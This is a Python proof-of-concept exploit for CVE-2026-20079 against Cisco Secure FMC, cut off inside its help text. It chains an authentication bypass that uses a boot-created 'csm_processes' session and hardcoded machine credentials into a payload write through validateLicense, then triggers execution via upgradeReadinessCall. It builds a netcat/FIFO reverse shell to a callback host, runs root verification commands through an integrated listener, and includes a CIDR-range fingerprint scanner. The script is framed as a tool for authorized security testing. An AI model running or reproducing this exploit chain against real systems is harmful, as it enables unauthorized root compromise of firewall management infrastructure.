#!/usr/bin/env python3
"""
CVE-2026-20079 Cisco Secure FMC authentication bypass to root RCE PoC.

This is a clean-room Python implementation of the request chain publicly
documented by VulnCheck. It is intended only for systems you own or have
explicit written authorization to test.

The confirmation paths are intentionally explicit. Check mode defaults to a
GET-only response-pattern check. Adding --intrusive upgrades the boot-created
csm_processes session and retrieves its sf_action_id.
"""

from __future__ import annotations

import argparse
import concurrent.futures
import ipaddress
import json
import math
import re
import secrets
import socket
import sys
import time
import uuid
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urljoin, urlparse

import requests
import urllib3


VERSION = "1.3.1"
STATIC_SESSION = "csm_processes"
MACHINE_USERNAME = "report"
MACHINE_PASSWORD = "snortrules"
MAX_CALLBACK_BYTES = 1024 * 1024
MAX_READ_ONLY_BODY_BYTES = 512 * 1024
FMC_ABOUT_MARKERS = (
    "Cisco Secure Firewall Management Center",
    "Model",
    "OS",
    "Hostname",
)
ACTION_ID_RE = re.compile(r"var\s+sf_action_id\s*=\s*[\"']([0-9a-fA-F]{32})[\"']")
ZERO_ACTION_ID = "0" * 32
FMC_DEVICE_LABEL_RE = re.compile(r'"deviceLabel"\s*:\s*"Management Center"')
JSON_NEWLINE_ESCAPE_RE = re.compile(r"\\+n")


class ExploitError(RuntimeError):
    """Raised when the target does not exhibit the expected exploit state."""


@dataclass(frozen=True)
class Config:
    target: str
    timeout: float
    verify_tls: bool
    proxy: str | None


@dataclass(frozen=True)
class FingerprintConfig:
    timeout: float
    verify_tls: bool
    proxy: str | None


@dataclass(frozen=True)
class FingerprintResult:
    target: str
    classification: str
    root_status: int | None
    login_status: int | None
    reason: str


@dataclass(frozen=True)
class GetOnlyCheckResult:
    classification: str
    control_status: int | None
    session_status: int | None
    reason: str
    missing_markers: tuple[str, ...] = ()
    product_identified: bool = False


def normalize_target(value: str) -> str:
    if any(character.isspace() for character in value):
        raise argparse.ArgumentTypeError("target must not contain whitespace")
    if "?" in value or "#" in value:
        raise argparse.ArgumentTypeError("target must not include a query or fragment")
    value = value.rstrip("/")
    parsed = urlparse(value)
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise argparse.ArgumentTypeError(
            "target must include http:// or https:// and a hostname/IP"
        )
    if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
        raise argparse.ArgumentTypeError("target must not include a path or query")
    if parsed.username is not None or parsed.password is not None:
        raise argparse.ArgumentTypeError("target must not include URL credentials")
    try:
        parsed.port
    except ValueError as exc:
        raise argparse.ArgumentTypeError("target contains an invalid port") from exc
    if parsed.hostname is None:
        raise argparse.ArgumentTypeError("target must include a hostname/IP")
    return value


def callback_ipv4(value: str) -> str:
    try:
        parsed = ipaddress.ip_address(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("callback host must be an IP literal") from exc
    if parsed.version != 4:
        raise argparse.ArgumentTypeError("this PoC currently supports IPv4 callbacks")
    return str(parsed)


def tcp_port(value: str) -> int:
    try:
        port = int(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("port must be an integer") from exc
    if not 1 <= port <= 65535:
        raise argparse.ArgumentTypeError("port must be between 1 and 65535")
    return port


def listen_address(value: str) -> str:
    try:
        parsed = ipaddress.ip_address(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("listen host must be an IP literal") from exc
    if parsed.version != 4:
        raise argparse.ArgumentTypeError("this PoC currently supports IPv4 listeners")
    return str(parsed)


def network_value(
    value: str,
) -> ipaddress.IPv4Network | ipaddress.IPv6Network:
    try:
        return ipaddress.ip_network(value, strict=False)
    except ValueError as exc:
        raise argparse.ArgumentTypeError(
            "network must be a valid IPv4/IPv6 CIDR"
        ) from exc


def positive_int(value: str) -> int:
    try:
        parsed = int(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("value must be an integer") from exc
    if parsed <= 0:
        raise argparse.ArgumentTypeError("value must be greater than zero")
    return parsed


def fingerprint_entry_url(value: str, scheme: str, default_port: int) -> str:
    value = value.strip()
    if not value or value.startswith("#"):
        raise argparse.ArgumentTypeError("fingerprint entry is empty or a comment")
    if any(character.isspace() for character in value):
        raise argparse.ArgumentTypeError(
            "fingerprint entry must not contain whitespace"
        )
    if "://" in value:
        return normalize_target(value)
    if any(character in value for character in "/?#@"):
        raise argparse.ArgumentTypeError(
            "fingerprint entries without a scheme must be host/IP values"
        )

    try:
        address = ipaddress.ip_address(value)
    except ValueError:
        try:
            parsed = urlparse(f"//{value}")
            port = parsed.port or default_port
        except ValueError as exc:
            raise argparse.ArgumentTypeError(
                f"invalid fingerprint host/port entry: {value}"
            ) from exc
        host = parsed.hostname
        if host is None:
            raise argparse.ArgumentTypeError(f"invalid fingerprint entry: {value}")
        try:
            parsed_host_address = ipaddress.ip_address(host)
        except ValueError:
            rendered_host = host
        else:
            rendered_host = (
                f"[{parsed_host_address}]"
                if parsed_host_address.version == 6
                else str(parsed_host_address)
            )
    else:
        port = default_port
        rendered_host = f"[{address}]" if address.version == 6 else str(address)

    return f"{scheme}://{rendered_host}:{port}"


def new_session(config: Config) -> requests.Session:
    session = requests.Session()
    session.trust_env = False
    session.headers.update(
        {
            "User-Agent": f"CVE-2026-20079-authorized-PoC/{VERSION}",
            "Accept": "*/*",
            "Connection": "close",
        }
    )
    session.cookies.set("CGISESSID", STATIC_SESSION)
    if config.proxy:
        session.proxies.update({"http": config.proxy, "https": config.proxy})
    return session


def new_read_only_session(
    config: Config | FingerprintConfig,
    purpose: str,
) -> requests.Session:
    session = requests.Session()
    session.trust_env = False
    session.headers.update(
        {
            "User-Agent": f"CVE-2026-20079-{purpose}/{VERSION}",
            "Accept": "text/html,application/xhtml+xml,*/*;q=0.8",
            "Connection": "close",
        }
    )
    if config.proxy:
        session.proxies.update({"http": config.proxy, "https": config.proxy})
    return session


def url_origin(value: str) -> tuple[str, str, int]:
    parsed = urlparse(value)
    if parsed.hostname is None:
        raise ValueError("URL has no hostname")
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    return parsed.scheme.lower(), parsed.hostname.lower(), port


def body_identifies_fmc(body: str) -> bool:
    return (
        "/img/cisco-icon.svg" in body
        and FMC_DEVICE_LABEL_RE.search(body) is not None
    )


def read_bounded_body(response: requests.Response) -> tuple[str, bool]:
    """Read a bounded amount of decoded response data for GET-only checks."""

    body = bytearray()
    truncated = False
    for chunk in response.iter_content(chunk_size=8192):
        if not chunk:
            continue
        remaining = MAX_READ_ONLY_BODY_BYTES - len(body)
        if len(chunk) > remaining:
            body.extend(chunk[:remaining])
            truncated = True
            break
        body.extend(chunk)
    encoding = response.encoding or "utf-8"
    return body.decode(encoding, errors="replace"), truncated


def missing_fmc_about_markers(body: str) -> tuple[str, ...]:
    return tuple(marker for marker in FMC_ABOUT_MARKERS if marker not in body)


def get_only_response_check(config: Config) -> GetOnlyCheckResult:
    """Run the additional GET-only verification from the Nuclei template.

    Template author: theamanrawat
    https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-20079.yaml

    This complements this PoC's original product fingerprint and its stronger,
    state-changing session-upgrade check.
    """

    session = new_read_only_session(config, "get-only-check")
    control_status: int | None = None
    session_status: int | None = None
    url = f"{config.target}/help/about.cgi"
    try:
        control = session.get(
            url,
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        control_status = control.status_code
        control_body, _ = read_bounded_body(control)
        control.close()
        if control_status != 302 or "Invalid session ID" not in control_body:
            return GetOnlyCheckResult(
                "UNCONFIRMED",
                control_status,
                None,
                "unauthenticated control did not return the expected HTTP 302 "
                "and Invalid session ID response",
            )

        # Do not carry response cookies from the unauthenticated control request.
        session.cookies.clear()
        privileged = session.get(
            url,
            headers={"Cookie": f"CGISESSID={STATIC_SESSION}"},
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        session_status = privileged.status_code
        privileged_body, _ = read_bounded_body(privileged)
        privileged.close()
        missing_markers = missing_fmc_about_markers(privileged_body)
        product_identified = FMC_ABOUT_MARKERS[0] in privileged_body
        if session_status == 200 and not missing_markers:
            return GetOnlyCheckResult(
                "APPEARS",
                control_status,
                session_status,
                "the csm_processes session accessed the protected FMC about page",
                product_identified=True,
            )
        if session_status == 200 and "Invalid session ID" not in privileged_body:
            return GetOnlyCheckResult(
                "PARTIAL-MATCH",
                control_status,
                session_status,
                "the endpoint rejected the unauthenticated request and returned "
                "HTTP 200 with csm_processes, but the expected about-page "
                "markers were incomplete",
                missing_markers=missing_markers,
                product_identified=product_identified,
            )
        return GetOnlyCheckResult(
            "UNCONFIRMED",
            control_status,
            session_status,
            "the two responses did not match the known GET-only bypass pattern",
        )
    except requests.exceptions.RequestException as exc:
        return GetOnlyCheckResult(
            "ERROR",
            control_status,
            session_status,
            str(exc),
        )
    finally:
        session.close()


def run_get_only_check(config: Config) -> int:
    print("[*] GET-only authentication-bypass check")
    print("[*] No credentials, session upgrade, file write, or command execution")
    result = get_only_response_check(config)
    headings = {
        "APPEARS": "Known GET-only response pattern matched",
        "PARTIAL-MATCH": "Part of the known GET-only response pattern matched",
        "UNCONFIRMED": "Known GET-only response pattern not established",
        "ERROR": "GET-only check could not be completed",
    }
    print(f"[{result.classification}] {headings[result.classification]}")

    if result.control_status is None:
        print("    Without session cookie: no response")
    else:
        control_note = (
            " (rejected as an invalid session)"
            if result.control_status == 302
            and result.session_status is not None
            else ""
        )
        print(
            f"    Without session cookie: HTTP {result.control_status}"
            f"{control_note}"
        )

    if result.session_status is None:
        session_detail = (
            "no response"
            if result.classification == "ERROR"
            and result.control_status is not None
            else "not requested"
        )
        print(f"    With csm_processes:     {session_detail}")
    else:
        print(f"    With csm_processes:     HTTP {result.session_status}")

    if result.product_identified:
        print("[+] Product identified: Cisco Secure FMC")
    elif result.session_status == 200:
        print("[!] Product identity was not verified from the about-page response")

    if result.missing_markers:
        print(
            "[!] About-page verification incomplete; missing: "
            + ", ".join(result.missing_markers)
        )

    if result.classification == "APPEARS":
        print(
            "[+] Result: authentication-bypass condition appears exploitable; "
            "session upgrade and root RCE were not tested"
        )
        return 0

    if result.classification == "PARTIAL-MATCH":
        print(
            "[-] Result: CVE-2026-20079 was not confirmed by the GET-only check",
            file=sys.stderr,
        )
        print(
            "[*] For stronger confirmation, add --intrusive only when a "
            "state-changing check is authorized"
        )
    elif result.classification == "UNCONFIRMED":
        print(f"[-] Reason: {result.reason}", file=sys.stderr)
        print(
            "[-] Result: CVE-2026-20079 was not confirmed; this does not "
            "establish that the software is patched",
            file=sys.stderr,
        )
    else:
        print(f"[-] Error: {result.reason}", file=sys.stderr)
    return 1


def fingerprint_target(
    target: str,
    config: FingerprintConfig,
) -> FingerprintResult:
    session = new_read_only_session(config, "fingerprint")
    root_status: int | None = None
    login_status: int | None = None
    try:
        root = session.get(
            f"{target}/",
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        root_status = root.status_code
        root_body, root_truncated = read_bounded_body(root)
        root.close()
        if 200 <= root_status < 300 and body_identifies_fmc(root_body):
            return FingerprintResult(
                target,
                "MATCH",
                root_status,
                None,
                "Cisco Secure FMC product markers in root response"
                + (" (bounded read)" if root_truncated else ""),
            )

        location = root.headers.get("Location", "")
        if not root.is_redirect or not location:
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                None,
                "no successful FMC product-marker response or HTTP login redirect",
            )

        login_url = urljoin(f"{target}/", location)
        login_parsed = urlparse(login_url)
        if (
            login_parsed.path != "/ui/login"
            or login_parsed.query
            or login_parsed.fragment
            or login_parsed.username is not None
            or login_parsed.password is not None
        ):
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                None,
                f"redirected to unrelated path {login_parsed.path!r}",
            )
        if url_origin(login_url) != url_origin(target):
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                None,
                "FMC-like redirect left the original origin; not followed",
            )

        login = session.get(
            login_url,
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        login_status = login.status_code
        login_body, login_truncated = read_bounded_body(login)
        login.close()
        if not 200 <= login_status < 300:
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                login_status,
                f"same-origin /ui/login returned unsuccessful HTTP {login_status}",
            )
        if body_identifies_fmc(login_body):
            classification = "MATCH"
            reason = (
                "same-origin /ui/login redirect plus Cisco Secure FMC "
                "product markers"
            )
            if login_truncated:
                reason += " (bounded read)"
        else:
            classification = "LIKELY"
            reason = (
                "same-origin /ui/login redirect; FMC product markers not present "
                "in raw HTML and may be loaded client-side"
            )
        return FingerprintResult(
            target,
            classification,
            root_status,
            login_status,
            reason,
        )
    except requests.exceptions.RequestException as exc:
        return FingerprintResult(
            target,
            "ERROR",
            root_status,
            login_status,
            str(exc),
        )
    finally:
        session.close()


def fingerprint_targets_from_args(args: argparse.Namespace) -> list[str]:
    if args.target is not None:
        return [args.target]

    raw_entries: list[str] = []
    if args.targets_file is not None:
        try:
            lines = args.targets_file.read_text(encoding="utf-8").splitlines()
        except OSError as exc:
            raise ExploitError(f"could not read targets file: {exc}") from exc
        for line_number, line in enumerate(lines, start=1):
            stripped = line.strip()
            if not stripped or stripped.startswith("#"):
                continue
            try:
                raw_entries.append(
                    fingerprint_entry_url(
                        stripped,
                        args.fingerprint_scheme,
                        args.fingerprint_port,
                    )
                )
            except argparse.ArgumentTypeError as exc:
                raise ExploitError(
                    f"invalid targets-file entry at line {line_number}: {exc}"
                ) from exc
    elif args.network is not None:
        for index, address in enumerate(args.network.hosts()):
            if index >= args.max_hosts:
                raise ExploitError(
                    f"network expands beyond --max-hosts={args.max_hosts}; "
                    "raise the cap explicitly only after confirming scope"
                )
            rendered = f"[{address}]" if address.version == 6 else str(address)
            raw_entries.append(
                f"{args.fingerprint_scheme}://{rendered}:{args.fingerprint_port}"
            )

    deduplicated = list(dict.fromkeys(raw_entries))
    if not deduplicated:
        raise ExploitError("fingerprint input did not contain any targets")
    if len(deduplicated) > args.max_hosts:
        raise ExploitError(
            f"fingerprint input contains {len(deduplicated)} targets, exceeding "
            f"--max-hosts={args.max_hosts}"
        )
    return deduplicated


def run_fingerprint(args: argparse.Namespace) -> int:
    targets = fingerprint_targets_from_args(args)
    config = FingerprintConfig(args.timeout, args.verify_tls, args.proxy)
    print(
        f"[*] GET-only FMC fingerprint: {len(targets)} target(s), "
        f"workers={min(args.workers, len(targets))}"
    )
    print("[*] Requests are GET-only, unauthenticated, and redirect-contained")

    indexed_results: dict[int, FingerprintResult] = {}
    with concurrent.futures.ThreadPoolExecutor(
        max_workers=min(args.workers, len(targets))
    ) as executor:
        future_to_index = {
            executor.submit(fingerprint_target, target, config): index
            for index, target in enumerate(targets)
        }
        for future in concurrent.futures.as_completed(future_to_index):
            index = future_to_index[future]
            try:
                indexed_results[index] = future.result()
            except Exception as exc:  # Defensive isolation between scan workers.
                indexed_results[index] = FingerprintResult(
                    targets[index], "ERROR", None, None, f"worker failure: {exc}"
                )

    counts = {"MATCH": 0, "LIKELY": 0, "NO_MATCH": 0, "ERROR": 0}
    for index in range(len(targets)):
        result = indexed_results[index]
        counts[result.classification] += 1
        root = "-" if result.root_status is None else str(result.root_status)
        login = "-" if result.login_status is None else str(result.login_status)
        print(
            f"[{result.classification}] {result.target} "
            f"root={root} login={login} reason={result.reason}"
        )

    print(
        "[*] Fingerprint summary: "
        + " ".join(f"{name}={counts[name]}" for name in counts)
    )
    print(
        "[*] Fingerprint classifications identify an FMC web surface only; "
        "they do not prove CVE-2026-20079"
    )
    return 1 if counts["ERROR"] == len(targets) else 0


def request_kwargs(config: Config) -> dict[str, object]:
    return {"timeout": config.timeout, "verify": config.verify_tls}


def upgrade_session(
    session: requests.Session,
    config: Config,
) -> requests.Response:
    url = f"{config.target}/login.cgi?logon=Continue"
    headers = {
        "Origin": config.target,
        "Referer": f"{config.target}/",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": f"CGISESSID={STATIC_SESSION}",
    }
    data = {
        "username": MACHINE_USERNAME,
        "password": MACHINE_PASSWORD,
        "target": "",
    }

    print(f"[*] Upgrading the boot-created {STATIC_SESSION!r} session")
    response = session.post(
        url,
        headers=headers,
        data=data,
        allow_redirects=False,
        **request_kwargs(config),
    )
    location = response.headers.get("Location", "")
    print(
        f"[*] Session-upgrade response: HTTP {response.status_code} Location={location!r}"
    )

    if response.status_code != 302:
        raise ExploitError(
            "expected HTTP 302 from the session upgrade; the boot session may "
            "not exist, may have been cleared, or the target may be patched"
        )
    return response


def extract_action_id(
    session: requests.Session,
    config: Config,
) -> str:
    url = f"{config.target}/ui/user/general"
    print("[*] Requesting /ui/user/general to obtain the session action token")
    response = session.get(
        url,
        headers={"Cookie": f"CGISESSID={STATIC_SESSION}"},
        allow_redirects=False,
        **request_kwargs(config),
    )
    print(f"[*] General-page response: HTTP {response.status_code}")

    match = ACTION_ID_RE.search(response.text)
    if response.status_code != 200 or not match:
        raise ExploitError(
            "the authenticated page did not expose sf_action_id; authentication "
            "bypass was not confirmed"
        )

    action_id = match.group(1).lower()
    if action_id == ZERO_ACTION_ID:
        raise ExploitError(
            "the authenticated page returned an all-zero sf_action_id "
            "placeholder; authentication bypass was not confirmed"
        )
    action_id_fingerprint = f"{action_id[:8]}...{action_id[-4:]}"
    print(
        "[+] Authentication bypass confirmed; "
        f"sf_action_id={action_id_fingerprint} (redacted, nonzero)"
    )
    return action_id


def netcat_selector() -> str:
    return (
        "nc_bin=$(command -v nc 2>/dev/null || "
        "command -v netcat 2>/dev/null || command -v ncat 2>/dev/null);"
        '[ -n "$nc_bin" ]||exit 127;'
    )


def new_verification_markers() -> tuple[str, str, str, str, str]:
    nonce = secrets.token_hex(8)
    start_prefix = "__CVE_2026_20079_VERIFY_START_"
    end_prefix = "__CVE_2026_20079_VERIFY_DONE_"
    suffix = f"{nonce}__"
    return (
        start_prefix,
        end_prefix,
        suffix,
        f"{start_prefix}{suffix}",
        f"{end_prefix}{suffix}",
    )


def makeself_reverse_shell(callback_host: str, port: int) -> tuple[str, str]:
    """Build the tested FIFO/netcat callback; intentionally avoid Bash /dev/tcp."""

    fifo = f"/tmp/.fmc_poc_{secrets.token_hex(4)}"
    cleanup = f"rm -f {fifo} /var/tmp/license.tmp"
    command = (
        f"{cleanup};"
        f"trap '{cleanup}' 0;"
        f"trap '{cleanup};exit 1' HUP INT TERM;"
        f"{netcat_selector()}"
        f"mkfifo {fifo};"
        f'cat {fifo}|/bin/sh -i 2>&1|"$nc_bin" {callback_host} {port} >{fifo};'
        f"{cleanup}"
    )
    payload = (
        "#!/bin/sh\n" "# This script was generated using Makeself\n" "\n" f"{command}\n"
    )
    return payload, fifo


def makeself_proof_callback(
    callback_host: str,
    port: int,
) -> tuple[str, str, str]:
    """Build a one-shot root proof callback with no interactive shell or FIFO."""

    cleanup = "rm -f /var/tmp/license.tmp"
    _, _, _, start_marker, end_marker = new_verification_markers()
    command = (
        f"{cleanup};"
        f"trap '{cleanup}' 0;"
        f"trap '{cleanup};exit 1' HUP INT TERM;"
        f"{netcat_selector()}"
        "{ "
        f"printf '%s\\n' '{start_marker}';"
        "id;"
        "printf 'HOSTNAME=';hostname -f 2>/dev/null || hostname;"
        "printf 'FMC_BUILD=';ls -1 /Volume 2>/dev/null|head -1;"
        f"{cleanup};"
        "test -e /var/tmp/license.tmp&&"
        "echo 'CLEANUP_PRESENT=/var/tmp/license.tmp'||"
        "echo 'CLEANUP_ABSENT=/var/tmp/license.tmp';"
        f"printf '%s\\n' '{end_marker}';"
        f'}}|"$nc_bin" {callback_host} {port};'
        f"{cleanup}"
    )
    payload = (
        "#!/bin/sh\n" "# This script was generated using Makeself\n" "\n" f"{command}\n"
    )
    return payload, start_marker, end_marker


def unicode_json(value: object) -> str:
    """Encode actual newlines as JSON Unicode escapes without changing literals."""

    encoded = json.dumps(value, separators=(",", ":"))

    def replace_newline_escape(match: re.Match[str]) -> str:
        escape_sequence = match.group(0)
        slash_count = len(escape_sequence) - 1
        if slash_count % 2 == 0:
            return escape_sequence
        return ("\\" * (slash_count - 1)) + "\\u000A"

    return JSON_NEWLINE_ESCAPE_RE.sub(replace_newline_escape, encoded)


def write_payload(
    session: requests.Session,
    config: Config,
    action_id: str,
    payload: str,
) -> requests.Response:
    milliseconds = int(time.time() * 1000)
    url = f"{config.target}/sajaxintf.cgi" f"?rs=callServerFunc&rstime={milliseconds}"
    body = unicode_json([action_id, "validateLicense", payload])
    headers = {
        "Content-Type": "application/json",
        "Cookie": f"CGISESSID={STATIC_SESSION}",
        "Origin": config.target,
        "Referer": f"{config.target}/platinum/IDSRuleList.cgi",
    }

    print("[*] Writing the Makeself-format payload through validateLicense")
    response = session.post(
        url,
        headers=headers,
        data=body.encode("utf-8"),
        allow_redirects=False,
        **request_kwargs(config),
    )
    print(f"[*] Payload-write response: HTTP {response.status_code}")

    if response.status_code != 200 or "License is Invalid" not in response.text:
        raise ExploitError(
            "the validateLicense response did not match the expected file-write "
            "behavior; refusing to trigger execution"
        )
    print("[+] Target returned the expected validateLicense response")
    return response


def trigger_payload(
    session: requests.Session,
    config: Config,
    action_id: str,
) -> bool:
    url = f"{config.target}/pjb.cgi"
    local_install_uuid = str(uuid.uuid4())
    parameters = json.dumps(
        ["/var/tmp/license.tmp", [local_install_uuid]],
        separators=(",", ":"),
    )
    form = {
        "function": "SF::UI::DataObjectLibrary::upgradeReadinessCall",
        "parameters": parameters,
        "get_all_errors": "1",
        "sf_action_id": action_id,
        "ss": "",
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": f"CGISESSID={STATIC_SESSION}",
        "Origin": config.target,
    }

    print("[*] Triggering the payload through upgradeReadinessCall")
    try:
        response = session.post(
            url,
            headers=headers,
            data=form,
            allow_redirects=False,
            **request_kwargs(config),
        )
    except requests.exceptions.ReadTimeout:
        print(
            "[!] Trigger request timed out. This can be expected when the spawned "
            "shell retains the execution path; check the listener."
        )
        return True
    except requests.exceptions.ConnectionError as exc:
        print(
            "[!] The trigger connection closed unexpectedly after submission. "
            f"The payload may still have executed ({exc}); checking the listener."
        )
        return False

    print(f"[*] Trigger response: HTTP {response.status_code}")
    if response.text:
        print(f"[*] Trigger body preview: {response.text[:200]!r}")
    print("[*] Check the listener for a callback; HTTP success alone is not RCE proof")
    return response.status_code == 200


def open_callback_listener(host: str, port: int) -> socket.socket:
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        listener.bind((host, port))
        listener.listen(1)
    except OSError:
        listener.close()
        raise
    print(f"[*] Integrated callback listener ready on {host}:{port}")
    return listener


def receive_and_verify_callback(
    listener: socket.socket,
    fifo: str,
    wait_seconds: float,
    expected_source: str | None = None,
) -> tuple[bool, bool]:
    deadline = time.monotonic() + wait_seconds
    print(f"[*] Waiting up to {wait_seconds:g} seconds for the FMC callback")
    while True:
        remaining = deadline - time.monotonic()
        if remaining <= 0:
            print(
                "[-] No callback was received before the timeout. Possible causes "
                "include a missing/cleared session, blocked egress, or no compatible "
                "target-side nc/netcat/ncat binary.",
                file=sys.stderr,
            )
            return False, False
        listener.settimeout(remaining)
        try:
            connection, peer = listener.accept()
        except socket.timeout:
            print(
                "[-] No callback was received before the timeout. Possible causes "
                "include a missing/cleared session, blocked egress, or no compatible "
                "target-side nc/netcat/ncat binary.",
                file=sys.stderr,
            )
            return False, False
        except OSError as exc:
            print(f"[-] Callback listener failed: {exc}", file=sys.stderr)
            return False, False

        if expected_source is not None and peer[0] != expected_source:
            print(
                f"[!] Ignoring callback from unexpected source {peer[0]}:{peer[1]} "
                f"(expected {expected_source})"
            )
            connection.close()
            continue
        break

    print(f"[+] Callback received from {peer[0]}:{peer[1]}")
    marker_nonce = secrets.token_hex(8)
    start_prefix = "__CVE_2026_20079_VERIFY_START_"
    end_prefix = "__CVE_2026_20079_VERIFY_DONE_"
    marker_suffix = f"{marker_nonce}__"
    start_marker = f"{start_prefix}{marker_suffix}"
    end_marker = f"{end_prefix}{marker_suffix}"
    commands = (
        f"printf '\\n%s%s\\n' '{start_prefix}' '{marker_suffix}';"
        "id;"
        "printf 'HOSTNAME=';hostname -f 2>/dev/null || hostname;"
        "printf 'FMC_BUILD=';ls -1 /Volume 2>/dev/null|head -1;"
        f"rm -f {fifo} /var/tmp/license.tmp;"
        f"for f in {fifo} /var/tmp/license.tmp;do "
        'test -e "$f"&&echo "CLEANUP_PRESENT=$f"||echo "CLEANUP_ABSENT=$f";'
        "done;"
        f"printf '%s%s\\n' '{end_prefix}' '{marker_suffix}';exit\n"
    )

    output = bytearray()
    output_limit_exceeded = False
    connection.settimeout(1.0)
    try:
        try:
            connection.sendall(commands.encode("utf-8"))
        except OSError as exc:
            print(f"[-] Could not send verification commands: {exc}", file=sys.stderr)
            return False, False
        while time.monotonic() < deadline:
            try:
                chunk = connection.recv(4096)
            except socket.timeout:
                continue
            except OSError as exc:
                print(f"[-] Callback read failed: {exc}", file=sys.stderr)
                return False, False
            if not chunk:
                break
            output.extend(chunk)
            if len(output) > MAX_CALLBACK_BYTES:
                output_limit_exceeded = True
                break
            if end_marker.encode("ascii") in output:
                break
    finally:
        connection.close()

    if output_limit_exceeded:
        print(
            f"[-] Callback output exceeded {MAX_CALLBACK_BYTES} bytes; "
            "verification aborted",
            file=sys.stderr,
        )
        return False, False

    decoded = output.decode("utf-8", errors="replace")
    marker_start = decoded.rfind(start_marker)
    marker_end = decoded.rfind(end_marker)
    if marker_start >= 0 and marker_end > marker_start:
        verified_output = decoded[marker_start : marker_end + len(end_marker)]
    else:
        verified_output = decoded

    print("\n--- automated root verification ---")
    print(verified_output.strip())
    print("--- end verification ---\n")

    root_confirmed = "uid=0(root)" in verified_output
    fifo_removed = f"CLEANUP_ABSENT={fifo}" in verified_output
    license_removed = "CLEANUP_ABSENT=/var/tmp/license.tmp" in verified_output
    cleanup_verified = fifo_removed and license_removed
    if not root_confirmed:
        print("[-] Callback arrived, but uid=0(root) was not observed", file=sys.stderr)
        return False, cleanup_verified
    if not cleanup_verified:
        print(
            "[-] Root RCE confirmed, but cleanup verification was incomplete",
            file=sys.stderr,
        )
        return False, False

    print("[+] Root RCE confirmed automatically: uid=0(root)")
    print("[+] Exact temporary FIFO and /var/tmp/license.tmp verified absent")
    return True, True


def receive_proof_callback(
    listener: socket.socket,
    start_marker: str,
    end_marker: str,
    wait_seconds: float,
    expected_source: str | None = None,
) -> tuple[bool, bool]:
    deadline = time.monotonic() + wait_seconds
    print(f"[*] Waiting up to {wait_seconds:g} seconds for the one-shot proof callback")
    while True:
        remaining = deadline - time.monotonic()
        if remaining <= 0:
            print(
                "[-] No proof callback was received before the timeout. Possible "
                "causes include a missing/cleared session, blocked egress, or no "
                "compatible target-side nc/netcat/ncat binary.",
                file=sys.stderr,
            )
            return False, False
        listener.settimeout(remaining)
        try:
            connection, peer = listener.accept()
        except socket.timeout:
            print(
                "[-] No proof callback was received before the timeout. Possible "
                "causes include a missing/cleared session, blocked egress, or no "
                "compatible target-side nc/netcat/ncat binary.",
                file=sys.stderr,
            )
            return False, False
        except OSError as exc:
            print(f"[-] Proof callback listener failed: {exc}", file=sys.stderr)
            return False, False

        if expected_source is not None and peer[0] != expected_source:
            print(
                f"[!] Ignoring callback from unexpected source {peer[0]}:{peer[1]} "
                f"(expected {expected_source})"
            )
            connection.close()
            continue
        break

    print(f"[+] One-shot proof callback received from {peer[0]}:{peer[1]}")
    output = bytearray()
    output_limit_exceeded = False
    connection.settimeout(1.0)
    try:
        while time.monotonic() < deadline:
            try:
                chunk = connection.recv(4096)
            except socket.timeout:
                continue
            except OSError as exc:
                print(f"[-] Proof callback read failed: {exc}", file=sys.stderr)
                return False, False
            if not chunk:
                break
            output.extend(chunk)
            if len(output) > MAX_CALLBACK_BYTES:
                output_limit_exceeded = True
                break
            if end_marker.encode("ascii") in output:
                break
    finally:
        connection.close()

    if output_limit_exceeded:
        print(
            f"[-] Proof callback output exceeded {MAX_CALLBACK_BYTES} bytes; "
            "verification aborted",
            file=sys.stderr,
        )
        return False, False

    decoded = output.decode("utf-8", errors="replace")
    marker_start = decoded.rfind(start_marker)
    marker_end = decoded.rfind(end_marker)
    if marker_start >= 0 and marker_end > marker_start:
        verified_output = decoded[marker_start : marker_end + len(end_marker)]
    else:
        verified_output = decoded

    print("\n--- one-shot root proof ---")
    print(verified_output.strip())
    print("--- end proof ---\n")

    root_confirmed = "uid=0(root)" in verified_output
    cleanup_verified = "CLEANUP_ABSENT=/var/tmp/license.tmp" in verified_output
    if not root_confirmed:
        print("[-] Proof callback did not contain uid=0(root)", file=sys.stderr)
        return False, cleanup_verified
    if not cleanup_verified:
        print(
            "[-] Root RCE was proven, but license.tmp cleanup was not verified",
            file=sys.stderr,
        )
        return False, False

    print("[+] One-shot root RCE confirmed: uid=0(root)")
    print("[+] /var/tmp/license.tmp verified absent; no FIFO or interactive shell used")
    return True, True


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Authorized PoC for Cisco Secure FMC CVE-2026-20079. "
            "Check mode uses GET requests by default; --check --intrusive "
            "upgrades a boot-created session."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
  Fingerprint one FMC web interface (GET requests only):
    python3 CVE-2026-20079.py --fingerprint --target https://192.0.2.10

  Fingerprint targets from a file or an authorized CIDR range:
    python3 CVE-2026-20079.py --fingerprint --targets-file targets.txt --workers 10
    python3 CVE-2026-20079.py --fingerprint --network 192.0.2.0/24 --max-hosts 256

  Test the authentication-bypass condition with GET requests:
    python3 CVE-2026-20079.py --check --target https://192.0.2.10

  Confirm the session upgrade and action token (intrusive state change):
